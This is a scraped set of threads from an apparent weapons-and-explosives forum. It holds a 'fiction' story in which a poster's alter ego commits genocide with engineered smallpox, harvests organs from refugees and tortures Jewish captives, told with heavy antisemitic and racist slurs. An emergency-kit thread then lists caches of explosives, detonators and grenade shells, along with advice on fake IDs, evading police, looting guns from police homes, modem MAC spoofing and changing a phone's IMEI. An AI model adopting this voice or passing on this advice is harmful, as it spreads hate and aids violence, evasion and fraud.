I've seen plenty of articles on them, the results look promising. But... are they really as simple as having a copper tube filled with explosives surrounded by a copper coil? How
accurate would the timing have to be on the capacitor discharge?
I doubt a home experimenter could blackout a city with one... But atleast I could piss off the FCC officer monitoring the radio.
Any one have any experience?

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Little Spudgun + C rossbow
Session
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Viper III January 27th , 2 0 0 6 , 1 2 : 0 9 P M

I hope you like it !
http://rapidshare.de/files/119 49946/KK_session.m p g . h t m l

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > FICTION: NBK - Escape from Dreamland
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nbk2000 January 30th, 2006, 05:38 PM

NBK had known for years that the technology of cyberization was possible in His lifetime, but that an outmoded ethic was preventing the necessary experiments from being
performed by the worlds scientists to develop it to a useable degree.
Not being constrained by mortal morality, NBK set about to develop the technology He knew would be needed to ensure His immortality.
Sending His agents around the world, He had gathered a cabal of neuroscientists, surgeons, psychologists, and other technicians...all of w hom w ere 'morally challenged', usually
barred from practice for ethical violations, and thus unencumbered and ready for the work ahead.
But, in order for the progress to proceed at the required pace, NBK's scientists would need a virtually unlimited supply of live subjects to experiment upon, as only human testing
would provide the relevant data.
Where to get a limitless supply of live bodies to experiment upon?
++ ++++ +++ ++
As far as the eye can see is a swelling sea of brow n bodies sweating in the tropical sun. A line stretches from a large tent with a red cross on it. Inside are a number of white
doctors and nurses, taking samples of various tissues and fluids from the refugees, poking and prodding the skinny bodies w hile asking their questions.
This camp is smaller than those ran by other relief agencies, but this one was alw ays the first choice of the refugees as they served the most food, and the medical care w as far
better than at any other relief organizations camp, which resulted in many more refugees being turned away by the camps guards than were accepted in.
What the refugees didn't know was that this camp wasn't being funded by donations from liberal fools moved to pity by weepy pleas from fat has-been sitcom stars*, but rather
from the organs harvested from the healthiest refugees w ho were 'transported to safety' as bagged organs in refrigerated trucks. ;)
For the price of a single cup of coffee per day, NBKs minions were fattening up the refugees for harvest, at w hich time their bodies could yield over $150,000 w orth of organs
and tissues on the black market.
That's how the camps kept themselves funded, as well as providing additional cash income to NBK's coffers.
But the real benefit was in the thousands of bodies upon w hich His scientists could experiment upon, without any worries of anyone missing them. After all, wars and famine in
third world countries claim the lives of millions every year, and no one knows where they go to. They just...vanish.
The w ork on retinal display implants alone consumed more than 4,000 eyes (and the bodies that kept the eyes alive), but resulted in an implant with a 300x300 apparent pixel
resolution and 8 shades of false color, far in advance of the 64x64 2-bit display available to the rest of the world.
Advances in neural appliances, informatic interfaces, and other cybernetic technologies, proceeded at a rapid pace, along with an equally rapid consumption of bodies.
++ ++++ +++ +
[Somewhere underneath Area 51 in the Nevada desert]
[i]It had happened...a spy!
Despite the MRI image recognition pre-screening, VSA, narco-hypnotic conditioning, and the regular conditoning reinforcement, the WSO1 had managed to slip an agent into
NBK's organization.
It w as inevitable, given how they had thrown hundreds of agents His way, that one w ould eventually slip through the security. Though there were hundreds who hadn't and
ended up floating in organ tanks in Chiba clinics as spare parts, that being their price of failure.
It w asn't until much later, after His own agents had completely subverted the WHO hierarchy, that He discovered how the spy had managed to slip through His security. The
agent was a massively fragmented multiple personality that had been specifically created with the object of preventing any one personality from knowing more than a fragment
of the true purpose of the agents mission, thus slipping 'under the radar' of His counter-intelligence screening.
It had taken them over tw enty years to create this one spy, and hundreds more that were lost to insanity during the creation process, but NBK gave them credit for being
nothing if not persistant in their persuit of Him.
The specifics of how He w as captured were irrelevant to His present situation, though He was proud of the body count the w arriors of His 'Red Hand' bodyguard had
accumulated from the ranks of the Special Forces battalion that had been sent to capture Him. Easily 10-to-1, and they had fought and died to the last.
But the spy had signaled the WSO when He w as in transit between His lairs in the southern hemisphere, thus not as well guarded as He usually was, so the WSO forces
triumphed through sheer numbers.
NBK w asn't worried that they would kill Him, at least not right away, as the Hegemon had already made it obvious that he w anted a show trial of the only man to defy the New
World Order and get away with it.
So here He was, trussed up like Hannibal Lecter on a dolly, sweat dripping into His eyes and a gag over His mouth with several guards in the room watching Him with their
stunners at the ready.
He already knew this would be the arrangement, as there's no way the Hegemon would allow anyone with guns near NBK, lest some guard seek revenge or glory by killing
NBK, or NBK taking the gun and escaping.
"Heh...look at him...he's sweating like a pig!", said of of the guards, "I bet the fucker's scared shitless, now that he know s it's payback time!"
"Yeah, they're going to give it to him good." said another "NBK, you're going to scream like a bitch when they're torturing you! Squeal like a pig, boy!"
This got a chuckle from the other two guards.
"And to think he claimed to be 'Airy-an' this w hole time!" sneered the first guard. "Look at him! He almost looks like a nigger! Dark skin, bulging forehead, and big ol' monkey
looking jaws!"
This got all the guards chanting "Monkey man!"
And the sweat continued to drip into His eyes.
++ ++++ +++ ++
Some time later, the Inquistors arrived, relieving NBK from the tedium of the guards purile insults.
He already knew that the Hegemon would send the best Inquisitors to attempt an extraction, thus the Jews from the NWO headquarters in New Israel (formerly called New
York). There w ere three that He could see, w ith more no doubt w aiting their turn at torturing NBK.
NBK took a perverse delight in knowing that how ever many Jews there may be waiting their turn at Him, there w ere a lot less of them now then there used to be prior to the
destruction of the first Israeli state...an affair arranged by NBK.
Amazing w hat a haemorrhagic form of smallpox combined with an interferon-blocker inserted at the L4 terminus of its genome could accomplish against an unimmunized
population.
'Course, it wouldn't have mattered if they had been immunized, as this strain wasn't anything nature had ever created. It w as solely a creation of one of NBKs bio-weapons
labs.
By the time the pox-virus had run its course, Israel ceased to exist as a state and became a corpse. That a large portion of the surrounding mud nations also perished w as a
bonus.
The only thing that kept the Black Pox from ravaging the planet w as the built-in terminator gene that prevented it from replicating more than 5 times.
But by the time the Black Pox died out, over 100 million muds had died with it.
The Inquisitors had an evil gleam in their dark eyes as they removed the gag from His mouth.
"You're going to suffer like no man has ever suffered before, NBK, and you w ill not die...not for a looong time"
++ ++++ +++ ++
NBK screamed as the Inquistors did their vile work, and the sweat continued to drip into His eyes.
++ ++++ +++ ++
It w as while the Jews were pushing a large sewing needle through His testicles that NBK stopped screaming, gave a little laugh, and began to w hisper quietly.
The Jews immediately stopped in shock, as this w as something totally unexpected given the circumstances and, coming from NBK, the unexpected was the beginning of terror.
"WHY ARE YOU LAUGHING?!" screamed the lead Inquisitor, a wild-eyed panic beginning to form on his beak nosed face as he jumped to his feet.
"The tooth...remember the tooth..." NBK whispered.2
++ ++++ +++ ++++ ++
The w hole time that NBK w as being transported to Area 51, He was co-ordinating His rescue with His forces via His cybernetic implants.
He hadn't been investing all those resources in the technology to have it installed in others, but rather, for His own use.
A section of His brain had been removed and replaced by a 5TB flash-memory drive and a mobile processor was installed in the heat-sink attached to the front of His skull
underneath the skin of His forehead.
That's why He was sw eating so much. Not from fear, but because the excess heat load created by the continuous use of His computer w as causing the overlying skin to sweat,
which aided cooling. The heat sink also gave Him the appearance of having a protruding forehead, giving the mistaken impression of stupidity to the truely ignorant.
The dark skin was a by-product of the organic silver filaments that had been grown through His vascular system, forming an fractal antenna grid of living tissue throughout His
body through which He could connect through virtually any form of RF communication on the planet.
But since the cell in Area 51 in which He w as being held w as deep underground, RF signals couldn't escape, so He used the quantum entanglement modem instead, since it
could communicate through any distance or barrier, though the baud rate was rather slow.
The computer implant was operated by microswitches installed in the pallette of His mouth, and operated by His tongue, the one organ He knew His enemies w ouldn't damage,
as they're greatest desire was to hear Him confess to His supposed crimes, beg for mercy, or scream in terror.
The computer displayed its visual output on the reticular mesh on His retina that had been created by blinding thousands of lesser beings, and the audio output went to
conductors on the ear bones.
Knowing that they would torture Him, NBK had EBS3 installed in His brain, with neural cut-outs and over-rides that allowed Him a degree of control over His own body
physiology and mental state that no other human had.
Once the Jews began their work, He activated one of His pre-programmed response programs to give the appearance of being in agony while, in reality, the cut-outs meant He
was only dimly aw are of the external world w hile His ghost concentrated on co-ordinating the recovery of His shell.
Using a variant of Program 2501, the expert AI hacking program4, He accessed the base defense computers through a local unsecured Wi-Fi LAN node (there's always some
idiot w ho'll bypass security for convenience) and created a loop in the security grid, rendering the enemy blind to the impending attack.
Once His forces w ere in position, He gave the signal to attack.
++ ++++ +++ ++
"What is he saying?!" asked the lead Inquisitor in a rising shrill tone.
"Something about a tooth?" said the Jew who was just moments before w as twisting the needle in NBKs nuts.
"A too.."
Before he could finish the sentence, an invisibly thin jet of Naga Naga5 venom sprayed out from a tiny jet nozzle in one of NBKs front incisors, hitting the kike square in the
eyes.
The heeb instantly screamed in pain as the venom turned his eyes into burning balls of napalm in his skull.
As he fell to the ground, clawing at his eyes, the other tw o Inquisitors froze in shock at this sudden reversal. They looked at NBK and, seeing the smile on His face, knew that
even restrained and outnumbered as He w as, that He had the upper hand now and that they were dead men who had yet to die.
As NBK opened His mouth with a jaw unhinged to a degree only seen in snakes about to swallow their prey, the Jew s turned to run for the door, but it was too late. A jet of
white vapor shot out of NBK's mouth, enveloping the fleeing kikes in a vaporous death fog.
++ ++++ +++ ++
Following the advice of the RTPB of always being armed, NBK turned His body into a weapon. Not a weapon in the sense of any silly martial art, but a literal repository of
chemical and biological poisons and toxins, plus the means to use them.
The 'monkey jaws' were, in fact, reservoirs of various agents and toxins installed into the mandible bone of His jaw. These w ere, in turn, connected to various sprayers,
projectors, and injectors installed throughout His body.
The Naga Naga venom w as pumped from a reservior in the jaw and ejected out of a false tooth into the eyes of the first kike.
The w hite vapor that killed the last tw o Jews was a binary agent that, w hen the two seperate compounds were combined in the air through the turbulent mixing of being
sprayed out through tw o seperate nozzles mounted w here the jaw joint is in normal humans, forms a super-reactive free-radical agent that almost instantly destroys lung tissue
and causes catastrophic hemorrage in any air-breathing animal, resulting in near-instant death.
Because it's so reactive, it decompose in seconds after exposure to oxygen, so its safe to use in confined space as long you don't breath for the few seconds it's active.
++ ++++ +++
They fell against the door, writhing on the floor as gouts of blood shot out of their mouths, bubbling with the exhalations of their last silent scream.
About the time the last death tremors wracked their bodies, a distant explosion could be heard resonating through the corridor outside of the room NBK was in. The sound of
automatic weapons and more explosions could be heard, grow ing louder as the seconds passed, until it w as finally outside His door and fell silent.
The sounds of bolts being thrown back was followed by the face of the leader of the North American arm of His Red Hand legion.
Upon seeing NBK, he cried out to other Red Hand warriors in the hallw ay behind him, "I have found The Lord!", and immediately rushed to His aide.
After cutting the bindings from his master, Gurney saw the wimpering form of the blinded kike on the floor and cried out 'Untermensch!', moving to slay it, but NBK stopped him
with a gesture.
"Bring the Jew with us", said NBK with a tender smile, "I wish to repay his kindness."
"Yes, Master!" Gurney said as he motioned some Red Hands to carry the kike aw ay.
++ ++++ +++ +++
As the ground-effect skimmer carried NBK to a local sietch of the Red Hand, a brilliant light flashed across the night sky of the desert, turning night into day, as the enemy base
where He had been held prisoner was turned into a 1,000 meter w ide radioactive crater.
++ ++++ +++ +++
Confusion. That w as w hat Agent Liebowitz felt. He couldn't remember much after the agony of being blinded by NBK.
What confused him was how he w as able to see again.
And w hat REALLY confused him was how he w as naked, nailed to a cross with spikes through his wrists and feet, and yet he didn't seem to be bothered by this fact.
Confusion gave way to terror as he realized who w as sitting on a throne made of human bones less than 20 feet aw ay from him.
"Ah, I see the Jew is awake now." said NBK.
"Unnnnnh..uhnnn..unnn..." moaned the terrified Jew, who now realized he didn't have a tongue, though he felt no pain.
"Don't worry, I'll talk for the both of us." chuckled NBK. "And I'll be giving you a tongue later, so I can enjoy your screams."
"To clarify, you're able to see again because of the eyes I've had transplanted into you. The reason I did this was so that I would have the pleasure of seeing the life leaving
your eyes as you die."
The Jew began moaning even more.
"Oh, don't worry! You won't stay dead for long. What would be the fun in that? No...I'm going to take the lesson you taught me and improve it." NBK said with a jovial tone in
His voice.
"You see, I have a glut of spare parts, and I need to use them up before they spoil." NBK motioned to a nearby curtain which was pulled back to reveal a series of tanks with
various of organs floating in them.
"I've always wondered how many times and different ways a man could be killed before he couldn't brought back."6
The skewed smile on NBKs face and the sound of the mirthless laughs of the Red Hand guards, told the Jew that he would not be going to his demise peacefully.
"You're going to suffer like no man has ever suffered before, Jew, and you will die many times before your final death."
"Oh, and so you know , the reason you don't feel any pain at the moment is the implant I've had installed in your brain. I think it's better that you can be made to not feel the
pain for a brief bit...makes the pain that much more intense once the blocking is turned off."
So saying, NBK turned off the pain blocking implant, and the tongueless screams of the Jew were music to His ears. With NBK as the conductor, the music of the Jews screams
became a symphony over the next few weeks.
== ==== === ===

* Sally Struthers if you didn't know .
1. WSO = World Security Organization.
After the American Hegemony was created by the Hegemon George Bush III, the WSO w as formed as the sucessor to Interpol to enforce the New World Order.
2. Read 'Dune' by Frank Herbert if you don't understand the reference.
3. EBS = Electronic Brain Stimulator. An implanted microcomputer that is attached to hair thin wires implanted to various sections of the cortex, to stimulate and activate the
ganglia responsible for various behaviors and sensations.
4. A reference to the first Ghost In The Shell movie.
5. Naga Naga is the Indian name for the Cobra, which can spit it's venom into an enemies eyes, causing agonizing pain and immediate blindness.
6. 27 times in 3 months as it turned out.
Attached is a picture of a death by haemorrhagic smallpox, known as 'Black Pox'. The '8-Ball' eye is caused by the breakdow n of the blood that has leaked into the eyeball.
Pretty, eh? And almost 100% fatal. :p

As brilliant as ever.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > What would you put in an
emergency kit
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ImagineReality January 31st, 2006, 07:46 AM

Ok so you have got to leave for some reason. Maybe you have been accused of something you didn't do, maybe you did do
something, maybe you just want to leave or maybe the end is nie. Whatever the reason the question I am asking is what
would your kit contain? Obviously different kits will contain different things, but this is just a kit to be used for basic problem
situations as listed above.
Ok well my kit would I think contain:
A decent backpack of medium size

Lockpicks
A basic small tool kit
Money
Clothing of varies kinds (Would have to be changed with the season)
Small amount of food and water
Sleeping Bag
Laptop with wireless internet
Torch
Well that's my basic emergency kit. I have probably missed all sorts of things, so anyone who can suggest a better one
please do.
If this thread is no good for this forum then please delete it.
nbk2000 January 31st, 2006, 08:43 PM

Well now, let's get an idea of your scenario, eh?
If it's the end of civilization as we know it, then a laptop and money are pointless, as they'll be no internet or power, nor
commerce, to use either of these things.
Now, if it's running from the piggies, you should have the cache buried somewhere away from anywhere you normally frequent,
otherwise they might have the place staked out and catch you when you go to get your stuff.
Since it's to be buried for a long time, and not something you need (or want) to be getting into except in dire emergency, you
must plan accordingly.
Weapons:
Pistol w/ silencer + 100 rounds

Rifle + 10 magazines + 1,000 rounds
Knife
Explosive (castable), 10+ pounds in 1lb blocks, plus detonators (several dozen of both fuse and electric), and ancillary
accessories such as liners/wire/safety fuse/etc.
Grenade shells, ready for loading, with fuzes.
Ballistic Armor, IIA, cheap. Plus helmet.
Tools:
Flashlight, hi-power (like a surefire) + spare lamps + lithium batteries (10+ year storage life)
Night Vision Scope. The cheap $100 that uses a squeeze generator for power.
Money, in the form of shrink-wrapped $10 rolls of quarters, at least a thousand dollars worth. Oh, and a shitload of gold
bullion coins, in 1oz. size.
Clothes, both camo and 'civilian', for both hot and cold weather, vacuum bagged. No need for underwear nor shoes, as you
don't need underwear, nor are you presumably going to fleeing barefoot. If you are barefoot, you've got money and a gun so
getting shoes shouldn't be an issue. ;)
A knapsack/duffel to carry it all in.
And it's all in a properly sealed, deoxygenated, and dissicated cache tube.
Weapons to fight, tools to move at night, clothes to blend in either country or city, plus money to buy what you need. That's
about all you need, really.
Anything else you need you can either buy or take with what you have on hand.
Anything that's not going to last a decade underground is not included, so that means food, water, medicines, and other
perishables.
Reason for the money being in quarters is that you never know when they'll have a currency recall and make the current
money obsolete, like they have several times already. But that can't do that with the coinage, as it's too built-in to be
replaced. Plus, paper rots, so coins it is.
Gold...self-explainatory.
ImagineReality February 1st, 2006, 03:47 AM
Ok well my idea was not a permanent cache, it was more a sort of impromptu throw together bag. All the same your list is very
complete, although i think lock picks should always be included. Also I thought money was made of cotton paper now as there
were problems with the paper stuff getting destroyed in the wash. At least I thought money in the UK was like that, but
America must be different.
teshilo February 2nd, 2006, 03:42 AM

You can ha TWO emergensy kit .Second as described NBK ,first in yours pockets or other places ON YOURS, in How to Kill vol
1-6 by Minnery present device used in prison this short metal tube contain short blade hidden in ass:) :) , money and lockpick
,.More modern version can contain compact device for quick killing: as poison needle,money: few hard banknotes and lockpick
for standart locks ,also "shims" for hand cuffs.All packed in short tube this can hidden it in:belt ,wrists,legs,...Hmm for tube
you can use plastic...
meselfs February 2nd, 2006, 04:16 PM

Hmnn...
I'd take:
Inconel can of Chlorine trifluoride

Magnesium firestarter kit
Lighter
Space blanket & cocoon
Water container, steel so that it can double as a pot for cooking
Plastic sheet, clear
Aluminium foil
Diamond file, fine
Steel file, medium, bastard cut
Chain saw chain, broken so that it's not a loop
Lots of high quality cordage
CA glue
Perhaps a blasting kit...
I'm not counting wrench, Swiss knife, saw kite, and other tools because I already have those in my pocket everywhere I go :-
>.
A laptop? You've got to be kidding me... or is this urban survival?
ImagineReality February 3rd, 2006, 03:53 AM

A laptop? You've got to be kidding me... or is this urban survival?
Lol yeah for me this was more running away from the cops sort of survival. I mean you have to keep up with the news and it
can be used for many other things. With a wireless connection you can get internet all over the place. Right now I can turn my
laptop on and just near my house there are 3 unsecured home networks, and the only one that is secured is using the default
router password from netgear.

So you are going to sit and post on a forum while the police close on you? Bizarre. The Lithium batteries in a mobile or laptop
are the rechargable kind, and they die after about two months of not being used.
I'd add a traceless mobile phone and a few sims that could be used as needed, with a small handheld recharger, of the
winding type. It would also double as a blasting box.
If you have plans with others, add a pair of radios. Stash a few dozen long life AA & AAA batteries, too, for power for things
like torches, phones, NVG, etc. that you can scavenger as you go.
I'd also suggest a good knife - a machete type of thing. I can't see many people cutting a tree down with a swiss army knife,
at least, not more than once!
Grab one of those little survival tins, too. The wire saw makes a great garrotte. Fishing line can feed you, or tripwire. Fish
hooks hurt and are easily hidden as needed.
A light water proof, two colour reversible jacket - dark colour one side (black or navy) and light the other side (beige or light
grey) - is likely to be a lifesaver. If being chased, run around a corner, and reverse it. Then walk off in a second direction.
Your followers are likely chasing the running man in the dark jacket, ID'd as John Doe, not the man walking along in a pale
jacket. It also lets you select the general colour for the majority of situations, making you less likely to be made, but not
obvious like actual cammo would be.
Chris The Great February 4th, 2006, 09:56 PM

With the laptop, you can pull out information on making some trap perfect for the situation you are in. I know most people
can't remember every detail, the laptop allows you to have all that information when you need it.
Plus, you can alert the rest of us when the crackdown starts, and give us all a head start over the police headed our way.

Since the UK police tend to co-ordinate these things, everyone would be jumped on at the same time. They do a series of
raids on (suspected) terrorists, pedophiles, etc. every so often, often taking 30 houses at once.
It has been shown that too much information makes you a bad leader and decision maker. A good small team always beats
an average but larger team when the small team knows *less* about the situation than the bigger team. Knowing too much
leads to a failure to act, or act late, or to keep the forces split because of some other aspect. The smaller team, however,
goes all out towards the one objective, and wins.
Setting a trap that you are reading from a laptop would be a damned silly thing to do. Odds are, you wouldn't have the bits
you needed anyway! Just read and learn now, and you can improvise when the time comes.
cyclonite4 March 2nd, 2006, 08:43 PM

How large is the storage capacity on a PDA these days? Surely they could hold more than enough information in raw text
format?
A laptop is bulky, and is rarely worth the space and wieght in consumes in such a stiuation. As NBK said, if you need one, steal
one when your on the run (that way you get the latest in technology too, rather than having yours be a peice of shit in a
decade :P).
Also, if you've got the piggies chasing you, they can probably have your ISP disconnect your wireless service, or use it to track
you!
cyclosarin January 17th, 2007, 07:17 AM

How do you move? Would you want a car/motorcycle/mountain bike stashed away to avoid the attention of stealing a car or
using one you own?
Also some kind of (false) identification that you could use if you needed to throw someone off, something common that's
easily faked.
QzarBaron January 19th, 2007, 05:05 PM

My kit for all out war/nuclear meltdown/uprising/natural disaster/zombie outbreak/etc. includes:
Medical:
Simple military surplus field dressings
First aid materials
Desinfectants
Potassium Iodide
etc.
Weapons related:
1000 rounds .22 ammo
4 Ruger 10/22 30 round magazines
250 rounds .41 ammo
4 Khar Micro magazines
Knife
Assorted items:
Gold (brilliant idea NBK)
Lock picks
Wire cutters
Storm matches
Lighter
Rope
Survival clothes (rugged pants, wool jackets, etc.)
And anything I might have at the time in my lab (no way am I storing unstable materials in my closet).
As for transportation I have my car as well as several vehicles in the nearby area that I could... borrow if the situation called
for it.
And obviously fake IDs/Passports
tiac03 January 24th, 2007, 03:16 AM

Personally if I was preparing for "End of Civilization" / Escape. I'd Focus my efforts on Hiding place preparation.
Underground Bunker in the middle of the woods sound's right. Generator and battery power For lighting. Stores of
nonperishable foods and clothing. I'd be armed to the teeth and some sort of small and quick transportation for quick fuel/
food raids.
If Running from the law?
I'd just stay in the area but get disguised. Cops are looking for a "enter description here", dye/cut/grow your hair, age yourself
with makeup and blend into the heards of sheeple. They won't stop everyone in a big city to ask for ID.
First thing they will do is block off exit points, and they will assume you have run off anyways.
Get an under the table job.
Biggest issue would be to find a reasonably comfortable place to live.
So my kit would include

-Cash
-clothes
-makeup kit
-Basic first aid
-hair dye
Then once you get settled in you can find a job and keep living like that until the dust has settled.
Then either continue to live like that or get out of town once they stop watching as closely and get "lost" in another city/
country.
.... But thats just crazy talk... and it's late so I may really be getting slightly nutty...
stupid939 January 24th, 2007, 07:00 PM

If you read the book "Bulletproof Privacy: How to Live Hidden, Happy, and Free" you would find what to do if you all of a
sudden need to leave.
It is kind of an absurd idea, but basically you should set up a house/apartment at least an hour from where you live, and start
paying for gas, water, electricity, etc. You should always spend cash, and if you started paying everything off a few months
ahead of time (including phone bills) you would not be on any of the lists of newly activated phone accounts or anything, and
it would be hard to find you. You would most likely want to get a new identity, but since you never know when you are going to
get in trouble, this is kind of useless.
It is actually a good book, but it would take a lot of money and time to set all this up.
Personally, I would agree with something like what cyclosarin and just take some money and hit the road.
ShadowMyGeekSpace January 24th, 2007, 07:16 PM

Also, if you've got the piggies chasing you, they can probably have your ISP disconnect your wireless service, or use it to track
you!
Wifi is not controlled by your ISP. Wireless access points/routers are consumer owned, and only have a range of ~300 feet, so
if you're on the run and using the wifi card, you're on someone elses wireless network(assuming one's even in range.)
You'd need to be using a PCMCIA/ExpressCard/USB CDMA/GSM/3G card for them to turn anything off, and at that point they'd
be using it to track you since the card gets you online via the cellphone networks.
jellywerker January 24th, 2007, 11:13 PM

My kit would be small and efficient, and very personalized to my area. Something of a size that I could shove into the bottom
of a messenger bag under my normal stuff (think about it, if they stop you, they might be about to let you go and then they
see you are carrying a backpack filled with food and tools, it'll raise some eyebrows, and you might just have to go down to
the station for "questioning") So I'd probably take something like this:
nalgene waterbottle + some aqua-mira taped to the inside of the lid

small set of picks (maybe just a bogata duo, diamond+rake+wrench = all you need :) )
a few "powerbar" type food bars
reversible jacket (waterproof of course)
beanie, I go no where without it, and it makes sleeping outside so much more bearable. I can always flip it inside out if the
color becomes a clue to any pursuers
cell phone (seperate use one, probably s smartphone for web access and gps and such, they only run about $200 now, +3-4
sim cards from the trash and a few batteries)
map of my area
small powerful flashlight
cash, about $500 or so, in $10's and $20's
lighter
knife
multitool (pliers, screwdrivers, hammer if need be, etc...)
some antibacterial ointment+a roll of cloth medical tape (so much better than a bandaid or gauze)
I'd shove all this in the nalgene and just leave it in the bottom of my bag, ready and on hand when needed.
Meawoppl January 24th, 2007, 11:48 PM

When it comes to the last resort kit, having a headlamp is great. My gf (now xgf) got me this one from the discovery store:
http://shopping.discovery.com/product-59466.html
Very Sweet! Very small! Very lightweight! Great brightness too. The only downside is that it takes weird thin batteries. On the
plus side though, you could store a ton of the batteries in a small place.
augoldminer January 25th, 2007, 01:52 AM

End of civilization.
Gold and silver will be useless as money as there will be a over supply of it from body's, electronics, safe deposit boxes, bling
from the useless people, dug from grave yards, fort Knox. and many other sources.
Bows and Arrows and the know how to make them. Bows are a good backup for guns. They are silent, They do not give away
your location. And if you need a gun having a bow makes it easy to take guns from the useless people.
In some areas that gun ownership is outlawed, A bow is a good self defence option. And you can always trade a arrow [in the
body]for a gun.
Military bases near where you live. Find out where they store there equipment . guns, ammo, heavy weapons, mre's.
explosives. Also where the cops keep the the guns that they take from the useless people. Find out where the cops live.
These homes are a good place to look for guns and ammo after the end of civilization. Learn how to do a compleat house
search many people have one or more guns put away where they are real hard to find.
paroxysm January 25th, 2007, 08:16 PM

In this situation, where civilisation has ended, I would take one item, a knife, and thats it, if we survived before modern
civilisation, we can still survive without it, if you know how.
If you need meat, snares or traps, If you need carbs, roots. fibre; plant material , its all about recovering lost knowledge,
once recovered its easy. And if you know how to hide then you do not need a gun, or ammo, or money, just a place to stay,
with resources such as national parks etc.
ShadowMyGeekSpace January 27th, 2007, 04:24 AM

Knife, pistol, spare mags, spare ammo, lockpicks, jacket, wallet, lighters... probably some sterno fuel and ramen/spam/other
good "camping food".
anonymous411 January 27th, 2007, 07:51 AM

Flexibility, adaptability and creativity will do more to see you through an emergency than the best checklist in the world.
In the end, skills, mental fortitude, and presence of mind are worth FAR more than supplies and money. For example, have
you learned (and practiced) SERE basics? Do you know where to dumpster dive for high-quality, unspoiled food and water--and
how to cache it once you find it? Are you a quick study at blending in with your environment? Can you array yourself and your
belongings to look as much like an "average, normal citizen" as possible to avoid attracting attention? Would you know how to
recognize a six-point surveillance team--and could you shake it? I'm probably preaching to the choir here, but the more you
read, the better off you'll be. That said, here are a few tips you won't necessarily read everywhere else that I learned from
experience:
* The ability to improvise multiple cache points and safe rooms is crucial. Don't be afraid to let it go: if this isn't a SHTF
scenario, you can get food, water, supplies and clothing anywhere. And I can assure you that come crunch time, you aren't
going to be that particular. Remember, when on the run, ABC: Always Be Caching.
* Best backpack food: a case of protein bars and a bottle of high-potency vitamins. Your adrenals are going to be stressed to
the limit, so avoid junk food and caffeine. (Do I really need to mention staying away from drugs and alcohol?) I think Datrex
ration bars taste the best of any "survival food", but ordinary protein bars are easier to find, cheaper, more nutritious, and
allow you to blend in with the general population. Why sit around gnawing on a cube when you could be enjoying a Detour or a
MetRx Big 100?
* If you're broke, in a hurry, and don't want to worry about finding food for a while, get yourself a jar of peanut butter for your
backpack and a big-ass spoon. With 56 servings at 190 calories each, that's a lot of meals in a concentrated space. (And for
what it's worth, protein bars and peanut butter go really well together).
* Easy, free way to cache water in an urban environment: refill empty two-liter bottles (or one-liters or 20 oz. bottles, for that
matter) scooped from curbside recycling bins. Store water everywhere you think you might hole up. Store water in places you
won't hole up. Think like a squirrel...ABC.
* Strengthen your back to the point that you're comfortable sleeping on the floor with your pack as a pillow and no padding
whatsoever. If you're used to this kind of Spartan conditioning, it makes things a lot easier. In a crisis, you're going to need
all the good-quality rest you can get, so you can't afford to have a finicky constitution.
* In some cases, a briefcase or messenger bag will blend in better than a backpack. Learn to travel light, and cache the rest.
Once again, ABC.
* If you plan on staying in the same area for a few weeks, free trial memberships at gyms are awesome ways to inject an
element of normalcy back into your life. It's great to be able to work out and shower whenever you want. Nobody's going to
notice if you discreetly wash a few of your clothes in the bathroom sink of a handicapped stall, and hang them to dry in your
locker. If you need to, blow dry them with the complimentary hair dryer. Nap on the gym roof in the day--and if you get
caught, pass yourself off as a sunbather. Nothing wrong with a gym member getting a good-old fashioned suntan, is there?
* And speaking of showers, take care of yourself and STAY CLEAN. This is as much a morale booster/sign of self-respect as
anything. Even if you're normally a slob, this is the one time in your life when you seriously need to stay neat and get some
discipline. Keep your pack and cache sites as well-organized and tidy as possible.
* Items I used the most:

tiny LED flashlight attached to my jacket's zipper.
padlocks for my gym locker (and other appropriated storage lockers).
small Gerber multi-tool (or Leatherman Wave).
small battery-operated AM/FM radio from the 99 cent store
package of wet wipes and mini-bottle of hand sanitizer
* Good source of instant cash income if you're anywhere near a university: clinical trials and psychology research experiments.
The rates are anywhere from $10 for a 20-minute survey, $100 for getting your teeth examined by a dental student as part of
their final exams, $200 for a three-hour marketing focus group, and $3100 for an overnight four-day inpatient experimental
medication trial. Not bad money at all! Passing for a "healthy normal" can be worth a lot, but even if you're messed up, you
can probably find a study to treat what ails you.
* There's nothing quite like carrying around your entire life savings in cash to make you appreciate the value of a good money
belt (or fanny-pack "cash pouch"). And whatever you do, never, EVER take it off--not even when you're sleeping, working out,
or in the shower. Backpacks and their contents come and go, but the cash pack is forever. I used a small, stylish one made
for i-pods, so I looked like your average yuppie out on a spree. Little did they know.
* DO NOT CARRY A PHONE. Not even a so-called anonymous one. Why? If I were hunting you down, all I'd need to do is
monitor the call records of all your known associates, data-mine the common number out, get your location, and track your
ass faster than James Kim's wife stranded on a snowed-in highway. Think about it.
* Likewise, if you're on the run, DO NOT LOG INTO YOUR E-MAIL. Read the above and think about it for two seconds.
* And finally, just because it's an emergency doesn't mean you can't be creative and keep your sense of humor. I once spent
a weekend making a safe house out of a large concrete storage building on the roof of some random condominium complex
in DC. Not only did I organize it, clean it, and lay up about a months' worth of food and water, I actually decorated it with stuff
I found lying around in the boxes. My pieces de resistance of decor were: an improvised futon made from two pallets and
foam insulation tightly wrapped in lovely pale green plastic sheeting, various National Geographic maps of the world, a huge,
almost "Patton"-sized American flag on one wall, twinkling Christmas lights hung along all the rafters, and a disco ball hung
smack-dab in the center of the room. PAR-TAY!! ROTFLOL I ended up moving on relatively soon, but what the hell....why not?
It was grand while it lasted. I think someday I'll go back and take a picture, it's absolutely glorious.

* Likewise, if you're on the run, DO NOT LOG INTO YOUR E-MAIL. Read the above and think about it for two seconds.If it was
of true importance, wifi rules ;)
I should point out its not like hollywood, it's not so simple to assosiate a single IP with an account at any given time (even
with timestamps) due to the huge amount DHCP leases and logs ISPs have. If you really wanted to be a jackass, an uncapped
modem from http://www.tcniso.net/ can go a long way since you can spoof it's MAC address as another customer's.
* DO NOT CARRY A PHONE. Not even a so-called anonymous one. Why? If I were hunting you down, all I'd need to do is
monitor the call records of all your known associates, data-mine the common number out, get your location, and track your
ass faster than James Kim's wife stranded on a snowed-in highway. Think about it.If a phone was really needed, then you
could easily use a decent GSM phone such as a Motorola Razr and switch sim cards/change the IMEI(hacked firmware needed),
and then remove the battery when not in use. You even can pick up prepaid TracPhones from Target for like $99 with 8 free
hours of airtime.
Thinking harder, as for the tracking part, you don't have that capability. You neither work for the phone company nor are you a
